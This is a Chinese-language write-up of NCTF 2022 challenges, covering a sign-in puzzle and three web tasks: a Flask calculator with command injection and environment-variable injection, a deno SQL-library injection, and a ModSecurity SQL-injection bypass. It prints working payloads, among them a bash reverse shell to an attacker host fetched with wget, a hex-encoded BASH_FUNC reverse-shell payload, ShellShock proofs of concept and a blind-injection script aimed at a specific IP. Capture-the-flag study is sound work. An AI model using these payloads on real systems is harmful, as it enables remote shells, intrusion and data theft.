Misc
Signin
程序设计实验作业,但是签到题(听zys说建议把终端字体调小一点并且只需要输入一串来自35年前的神秘秘籍
35年前的秘籍,就是魂斗罗的秘籍
上、上、下、下、左、右、左、右、B、A、B、A
就可以得到flag
NCTF{VVe1c0m3_T0_NCTF_2022!!!}
Web
calc
- 命令注入
- 环境变量注入
非预期
网页源码里有提示/source
,得到源码
@app.route("/calc",methods=['GET'])
def calc():
ip = request.remote_addr
num = request.values.get("num")
log = "echo {0} {1} {2}> ./tmp/log.txt".format(time.strftime("%Y%m%d-%H%M%S",time.localtime()),ip,num)
if waf(num):
try:
data = eval(num)
os.system(log)
except:
pass
return str(data)
else:
return "waf!!"
得知这里有waf,通过报错页面可以得到waf的内容
def waf(s):
blacklist = ['import','(',')','#','@','^','$',',','>','?','`',' ','_','|',';','"','{','}','&','getattr','os','system','class','subclasses','mro','request','args','eval','if','subprocess','file','open','popen','builtins','compile','execfile','from_pyfile','config','local','self','item','getitem','getattribute','func_globals','__init__','join','__dict__']
flag = True
for no in blacklist:
if no.lower() in s.lower():
flag= False
print(no)
break
return flag
这里是走os.system()利用换行来执行多条命令
但是要先让eval()执行成功才能走到os.system
所以要用’‘‘来表示python的多行代码,同时os.system执行第一条执行成功后才会执行第二条命令,所以要加一个’来闭合前面的’’',结尾同理
用%09来替代空格
这里有两种方法
复制flag文件到static文件夹
static文件夹是flask的静态文件夹,我们是可以访问到的
而且在报错页面也可以知道app.py的运行目录
payload:
GET: /calc?num='''w'%0acp%09/*f*%09/home/static/v2%0a'123'''#f也可以换成大写试一下
这条代码执行后的log是
然后在/static/v2下载就行
但是如果有坏b把flag文件弄走了就没办法了
反弹shell
因为反弹shell的命令里有被ban的字符,可以先把命令下载下来,然后再去执行他
v2.sh
#! /bin/bash
bash -c ' bash -i &> /dev/tcp/{vpshost}/{vpsport} 0>&1'
payload
GET: /calc?num='''w'%0awget%09{vpshost}/v2.sh%0a'123'''
GET: /calc?num='''w'%0abash%09v2.sh%0a'123'''
原来我上面写的是非预期XD
预期解【calc_revenge】
出题师傅的预期解是利用环境变量注入来执行命令,这里涉及到p佬的一篇文章我是如何利用环境变量注入执行任意命令
这里是因为python3的os.system()也是利用/bin/sh -c 来执行的
在subproccess.py文件中
所以可以使用环境变量进行注入
p佬文章中的三个poc
- Bash没有修复ShellShock漏洞:直接使用ShellShock的POC进行测试,例如
TEST=() { :; }; id;
- Bash 4.4以前:
env $'BASH_FUNC_echo()=() { id; }' bash -c "echo hello"
- Bash 4.4及以上:
env $'BASH_FUNC_echo%%=() { id; }' bash -c 'echo hello'
在CentOS系系统下完美解决本文开头提到的问题,通杀所有Bash。
变量覆盖
接下来就是进行环境变量的覆盖,因为python的环境变量是以字典的形式存在的
可以使用python的list生成器和中括号进行变量覆盖
a={"aaa":'123'}
[[str][0]for[a['aaa']]in[['111']]]
print(a)
#{'aaa': '111'}
Python黑魔法-绕过空格实现变量覆盖(这篇文章中有写过原理,但是使用这里面的方式成功不了,本地都无法执行)
然后就是进行覆盖了,一个个试poc
绕过waf
在引号包裹中的字符可以使用绕过,16进制或者unicode编码都行
然后就是绕过os,这个没有被引号包裹的字符
这里直接使用Pupi1师傅的文字
但实际上python是支持Non-ASCII Identifies也就是说可以使用unicode字符的,具体参考见: https://peps.python.org/pep-3131/ ,也就是说如果我们使用了UTF-8中的非ASCII码作为标识符,那么其会被函数转换为NFKC标准格式,也就是说我们可以使用例如
ᵒ
来代替o
,从而绕过限制。
最终的payload:
[[str][0]for[ᵒs.environ['BASH\x5fFUNC\x5fecho%%']]in[['\x28\x29\x20\x7b\x20\x62\x61\x73\x68\x20\x2d\x69\x20\x3e\x26\x20\x2f\x64\x65\x76\x2f\x74\x63\x70\x2f\x78\x78\x2e\x78\x78\x2e\x78\x78\x2e\x78\x78\x2f\x78\x78\x78\x78\x20\x30\x3e\x26\x31\x3b\x7d']]]
#() { bash -i >& /dev/tcp/xx.xx.xx.xx/xxxx 0>&1;}
ez_sql
- deno的bug
这个在hack.lu ctf中出现过
在后面多传一个?参数就会造成bug,从而导致注入
摘自HuLi的博客:
但是deno 的lib 忘记对栏位名称的
?
做escape 了,所以如果你传:{"id":"1", "?": "A"}
,最后出来的SQL 会是:select * from `food` where `id` =? and `?` =?
而bind 完之后就会变成:
select * from `food` where `id` = '1' and `'A'` =?
你会发现A 那边可以做SQL injection,只要先闭合那个反引号就行了。
但问题是这样会产生不合法的栏位名称,因为里面一定有个单引号,像这样:
select * from `food` where `id` = '1' and `'name` --'=?
会出现:
Error: no such column: 'name
然后使用下面的闭合方式可以绕过不存在的字段名
select id from food where `'not_exist'` and 0 union select 1 ;
select id from food where `'not_exist'` in () union select 1 ;
payload:
GET: /flight?id=1&?=`+and+0+union+select+1,flag+from+flag --
ez_bypass
- modsecurity bypass
payload1
给出的hint里知道waf用的是modsecurity
ModSecurity是一个开源的、跨平台的Web应用防火墙(WAF),被称为WAF界的“瑞士军刀”。它可以通过检查Web服务接收到的数据,以及发送出去的数据来对网站进行安全防护
在网上搜bypass方法
https://blog.h3xstream.com/2021/10/bypassing-modsecurity-waf.html
modsecurity是利用Libinjection
进行语义分析,所以常规的and,or,||,&&都不能用了作为连接符
这里使用^
(异或)来连接两个语句从而进行注入
GET: /sql.php?id=1^(1.e(ascii 1.e(substring(1.e(select password from users.info where id=1) 1.e,{} 1.e,1 1.e)1.e)1.e)={})
当正确的时候,页面不会有回显
利用脚本进行盲注
import requests
import time
url="http://121.37.11.207:8099/sql.php?id="
payload1="1^(1.e(ascii 1.e(substring(1.e(select password from users.info where id=1) 1.e,{} 1.e,1 1.e)1.e)1.e)={})"
result=''
for x in range(1,43):
for i in range(32,128):
url_end=url+payload1.format(x,i)
res=requests.get(url_end)
if "letian" not in res.text:
result+=chr(i)
print(result)
break
payload2
利用这篇文章的payloadhttps://github.com/SpiderLabs/owasp-modsecurity-crs/issues/1727
http://121.37.11.207:8099/sql.php?id=@.:=right(right((select hex(password) from users.info limit 0,1),1111),1111) union%23%0adistinctrow%0bselect@.